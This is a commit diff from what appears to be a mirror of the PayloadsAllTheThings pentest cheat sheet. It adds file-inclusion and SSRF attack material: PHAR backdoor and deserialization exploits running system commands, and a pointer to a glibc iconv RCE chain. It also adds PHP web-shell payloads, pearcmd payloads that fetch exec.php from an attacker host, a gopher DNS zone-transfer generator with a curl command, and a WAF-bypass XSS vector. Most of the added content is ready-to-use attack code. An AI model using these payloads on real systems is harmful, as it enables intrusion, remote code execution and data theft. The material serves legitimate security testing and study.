mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-18 18:36:10 +00:00
SSRF DNS AXFR + LFI PHAR payloads + LFI iconv
This commit is contained in:
parent
7e4a38a1a5
commit
314e4da963
@ -26,9 +26,12 @@
|
|||||||
- [Wrapper input://](#wrapper-input)
|
- [Wrapper input://](#wrapper-input)
|
||||||
- [Wrapper zip://](#wrapper-zip)
|
- [Wrapper zip://](#wrapper-zip)
|
||||||
- [Wrapper phar://](#wrapper-phar)
|
- [Wrapper phar://](#wrapper-phar)
|
||||||
|
- [PHAR archive structure](#phar-archive-structure)
|
||||||
|
- [PHAR deserialization](#phar-deserialization)
|
||||||
- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
|
- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
|
||||||
- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
|
- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
|
||||||
- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
|
- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
|
||||||
|
- [LFI to RCE via iconv](#lfi-to-rce-via-iconv)
|
||||||
- [LFI to RCE via upload](#lfi-to-rce-via-upload)
|
- [LFI to RCE via upload](#lfi-to-rce-via-upload)
|
||||||
- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
|
- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
|
||||||
- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
|
- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
|
||||||
@ -241,37 +244,83 @@ Alternatively, Kadimus has a module to automate this attack.
|
|||||||
|
|
||||||
### Wrapper phar://
|
### Wrapper phar://
|
||||||
|
|
||||||
Create a phar file with a serialized object in its meta-data.
|
#### PHAR archive structure
|
||||||
|
|
||||||
|
PHAR files work like ZIP files, when you can use the `phar://` to access files stored inside them.
|
||||||
|
|
||||||
|
1. Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php`
|
||||||
|
|
||||||
|
```php
|
||||||
|
<?php
|
||||||
|
$phar = new Phar('archive.phar');
|
||||||
|
$phar->startBuffering();
|
||||||
|
$phar->addFromString('test.txt', '<?php phpinfo(); ?>');
|
||||||
|
$phar->setStub('<?php __HALT_COMPILER(); ?>');
|
||||||
|
$phar->stopBuffering();
|
||||||
|
?>
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt`
|
||||||
|
|
||||||
|
|
||||||
|
#### PHAR deserialization
|
||||||
|
|
||||||
|
:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.
|
||||||
|
|
||||||
|
If a file operation is now performed on our existing phar file via the `phar://` wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: `include`, `file_get_contents`, `file_put_contents`, `copy`, `file_exists`, `is_executable`, `is_file`, `is_dir`, `is_link`, `is_writable`, `fileperms`, `fileinode`, `filesize`, `fileowner`, `filegroup`, `fileatime`, `filemtime`, `filectime`, `filetype`, `getimagesize`, `exif_read_data`, `stat`, `lstat`, `touch`, `md5_file`, etc.
|
||||||
|
|
||||||
|
This exploit requires at least one class with magic methods such as `__destruct()` or `__wakeup()`.
|
||||||
|
Let's take this `AnyClass` class as example, which execute the parameter data.
|
||||||
|
|
||||||
|
```php
|
||||||
|
class AnyClass {
|
||||||
|
public $data = null;
|
||||||
|
public function __construct($data) {
|
||||||
|
$this->data = $data;
|
||||||
|
}
|
||||||
|
|
||||||
|
function __destruct() {
|
||||||
|
system($this->data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
...
|
||||||
|
echo file_exists($_GET['page']);
|
||||||
|
```
|
||||||
|
|
||||||
|
We can craft a phar archive containing a serialized object in its meta-data.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
// create new Phar
|
// create new Phar
|
||||||
$phar = new Phar('test.phar');
|
$phar = new Phar('deser.phar');
|
||||||
$phar->startBuffering();
|
$phar->startBuffering();
|
||||||
$phar->addFromString('test.txt', 'text');
|
$phar->addFromString('test.txt', 'text');
|
||||||
$phar->setStub('<?php __HALT_COMPILER(); ?>');
|
$phar->setStub('<?php __HALT_COMPILER(); ?>');
|
||||||
|
|
||||||
// add object of any class as meta data
|
// add object of any class as meta data
|
||||||
class AnyClass {}
|
class AnyClass {
|
||||||
$object = new AnyClass;
|
public $data = null;
|
||||||
$object->data = 'rips';
|
public function __construct($data) {
|
||||||
|
$this->data = $data;
|
||||||
|
}
|
||||||
|
|
||||||
|
function __destruct() {
|
||||||
|
system($this->data);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$object = new AnyClass('whoami');
|
||||||
$phar->setMetadata($object);
|
$phar->setMetadata($object);
|
||||||
$phar->stopBuffering();
|
$phar->stopBuffering();
|
||||||
```
|
```
|
||||||
|
|
||||||
If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
|
Finally call the phar wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar`
|
||||||
|
|
||||||
|
NOTE: you can use the `$phar->setStub()` to add the magic bytes of JPG file: `\xff\xd8\xff`
|
||||||
|
|
||||||
```php
|
```php
|
||||||
class AnyClass {
|
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
||||||
function __destruct() {
|
|
||||||
echo $this->data;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// output: rips
|
|
||||||
include('phar://test.phar');
|
|
||||||
```
|
```
|
||||||
|
|
||||||
NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
|
|
||||||
|
|
||||||
|
|
||||||
### Wrapper convert.iconv:// and dechunk://
|
### Wrapper convert.iconv:// and dechunk://
|
||||||
|
|
||||||
@ -345,6 +394,22 @@ User-Agent: <?=phpinfo(); ?>
|
|||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## LFI to RCE via iconv
|
||||||
|
|
||||||
|
Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.
|
||||||
|
|
||||||
|
|
||||||
|
**Requirements**:
|
||||||
|
|
||||||
|
* PHP 7.0.0 (2015) to 8.3.7 (2024)
|
||||||
|
* GNU C Library (`glibc`) <= 2.39
|
||||||
|
* Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
|
||||||
|
|
||||||
|
**Exploit**:
|
||||||
|
|
||||||
|
* [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
|
||||||
|
|
||||||
|
|
||||||
## LFI to RCE via upload
|
## LFI to RCE via upload
|
||||||
|
|
||||||
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
|
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
|
||||||
@ -535,12 +600,13 @@ register_argc_argv = On
|
|||||||
|
|
||||||
There are this ways to exploit it.
|
There are this ways to exploit it.
|
||||||
|
|
||||||
* Method 1: config create
|
* **Method 1**: config create
|
||||||
```ps1
|
```ps1
|
||||||
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
|
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
|
||||||
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
|
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
|
||||||
```
|
```
|
||||||
* Method 2: man_dir
|
|
||||||
|
* **Method 2**: man_dir
|
||||||
```ps1
|
```ps1
|
||||||
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
|
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
|
||||||
/vuln.php?file=/tmp/exec.php&c=id
|
/vuln.php?file=/tmp/exec.php&c=id
|
||||||
@ -551,18 +617,13 @@ There are this ways to exploit it.
|
|||||||
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
|
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
|
||||||
```
|
```
|
||||||
|
|
||||||
* Method 3: download
|
* **Method 3**: download (need external network connection).
|
||||||
|
|
||||||
Need external network connection.
|
|
||||||
```ps1
|
```ps1
|
||||||
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
|
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
|
||||||
/vuln.php?file=exec.php&c=id
|
/vuln.php?file=exec.php&c=id
|
||||||
```
|
```
|
||||||
* Method 4: install
|
|
||||||
|
|
||||||
Need external network connection.
|
* **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
|
||||||
|
|
||||||
Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
|
|
||||||
```ps1
|
```ps1
|
||||||
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
|
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
|
||||||
/vuln.php?file=/tmp/pear/download/exec.php&c=id
|
/vuln.php?file=/tmp/pear/download/exec.php&c=id
|
||||||
@ -625,3 +686,4 @@ If SSH is active check which user is being used `/proc/self/status` and `/etc/pa
|
|||||||
* [One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin](https://hackmd.io/@ginoah/phpInclude#/)
|
* [One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin](https://hackmd.io/@ginoah/phpInclude#/)
|
||||||
* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
|
* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
|
||||||
* [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
|
* [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
|
||||||
|
* [OffensiveCon24- Charles Fol- Iconv, Set the Charset to RCE - 14 juin 2024](https://youtu.be/dqKFHjcK9hM)
|
@ -36,6 +36,7 @@
|
|||||||
* [SSRF exploiting Redis](#ssrf-exploiting-redis)
|
* [SSRF exploiting Redis](#ssrf-exploiting-redis)
|
||||||
* [SSRF exploiting PDF file](#ssrf-exploiting-pdf-file)
|
* [SSRF exploiting PDF file](#ssrf-exploiting-pdf-file)
|
||||||
* [Blind SSRF](#blind-ssrf)
|
* [Blind SSRF](#blind-ssrf)
|
||||||
|
* [SSRF to AXFR DNS](#ssrf-to-axfr-dns)
|
||||||
* [SSRF to XSS](#ssrf-to-xss)
|
* [SSRF to XSS](#ssrf-to-xss)
|
||||||
* [SSRF from XSS](#ssrf-from-xss)
|
* [SSRF from XSS](#ssrf-from-xss)
|
||||||
* [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances)
|
* [SSRF URL for Cloud Instances](#ssrf-url-for-cloud-instances)
|
||||||
@ -515,6 +516,36 @@ From https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/ / https://github.co
|
|||||||
- [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat)
|
- [Apache Tomcat](https://github.com/assetnote/blind-ssrf-chains#tomcat)
|
||||||
|
|
||||||
|
|
||||||
|
## SSRF to AXFR DNS
|
||||||
|
|
||||||
|
Query an internal DNS resolver to trigger a full zone transfer (AXFR) and exfiltrate a list of subdomains.
|
||||||
|
|
||||||
|
```py
|
||||||
|
from urllib.parse import quote
|
||||||
|
domain,tld = "example.lab".split('.')
|
||||||
|
dns_request = b"\x01\x03\x03\x07" # BITMAP
|
||||||
|
dns_request += b"\x00\x01" # QCOUNT
|
||||||
|
dns_request += b"\x00\x00" # ANCOUNT
|
||||||
|
dns_request += b"\x00\x00" # NSCOUNT
|
||||||
|
dns_request += b"\x00\x00" # ARCOUNT
|
||||||
|
dns_request += len(domain).to_bytes() # LEN DOMAIN
|
||||||
|
dns_request += domain.encode() # DOMAIN
|
||||||
|
dns_request += len(tld).to_bytes() # LEN TLD
|
||||||
|
dns_request += tld.encode() # TLD
|
||||||
|
dns_request += b"\x00" # DNAME EOF
|
||||||
|
dns_request += b"\x00\xFC" # QTYPE AXFR (252)
|
||||||
|
dns_request += b"\x00\x01" # QCLASS IN (1)
|
||||||
|
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
|
||||||
|
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')
|
||||||
|
```
|
||||||
|
|
||||||
|
Example of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01`
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## SSRF to XSS
|
## SSRF to XSS
|
||||||
|
|
||||||
by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
|
by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
|
||||||
@ -562,6 +593,7 @@ The AWS Instance Metadata Service is a service available within Amazon EC2 insta
|
|||||||
* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/`
|
* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/`
|
||||||
|
|
||||||
In case of a WAF, you might want to try different ways to connect to the API.
|
In case of a WAF, you might want to try different ways to connect to the API.
|
||||||
|
|
||||||
* DNS record pointing to the AWS API IP
|
* DNS record pointing to the AWS API IP
|
||||||
```powershell
|
```powershell
|
||||||
http://instance-data
|
http://instance-data
|
||||||
@ -895,3 +927,6 @@ More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-se
|
|||||||
- [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html)
|
- [challenge 1: COME OUT, COME OUT, WHEREVER YOU ARE!](https://www.kieranclaessens.be/cscbe-web-2018.html)
|
||||||
- [Attacking Url's in JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/)
|
- [Attacking Url's in JAVA](https://blog.pwnl0rd.me/post/lfi-netdoc-file-java/)
|
||||||
- [SSRF: Don't encode entire IP](https://twitter.com/thedawgyg/status/1224547692967342080)
|
- [SSRF: Don't encode entire IP](https://twitter.com/thedawgyg/status/1224547692967342080)
|
||||||
|
- [Pong [EN]| FCSC 2024 - vozec - April 12, 2024](https://vozec.fr/writeups/pong-fcsc2024-en/)
|
||||||
|
- [Pong [EN]| FCSC 2024 - mizu.re - Apr 13, 2024](https://mizu.re/post/pong)
|
||||||
|
- [SSRFmap - Introducing the AXFR module - Swissky - June 13, 2024](https://swisskyrepo.github.io/SSRFmap-axfr/)
|
@ -53,7 +53,7 @@ NOTE: Chrome Auditor is deprecated and removed on latest version of Chrome and C
|
|||||||
|
|
||||||
## Incapsula WAF
|
## Incapsula WAF
|
||||||
|
|
||||||
* 11th May 2019 - [@daveysec](https://twitter.com/daveysec/status/1126999990658670593) -
|
* 11th May 2019 - [@daveysec](https://twitter.com/daveysec/status/1126999990658670593)
|
||||||
```js
|
```js
|
||||||
<svg onload\r\n=$.globalEval("al"+"ert()");>
|
<svg onload\r\n=$.globalEval("al"+"ert()");>
|
||||||
```
|
```
|
||||||
|
Loading…
Reference in New Issue
Block a user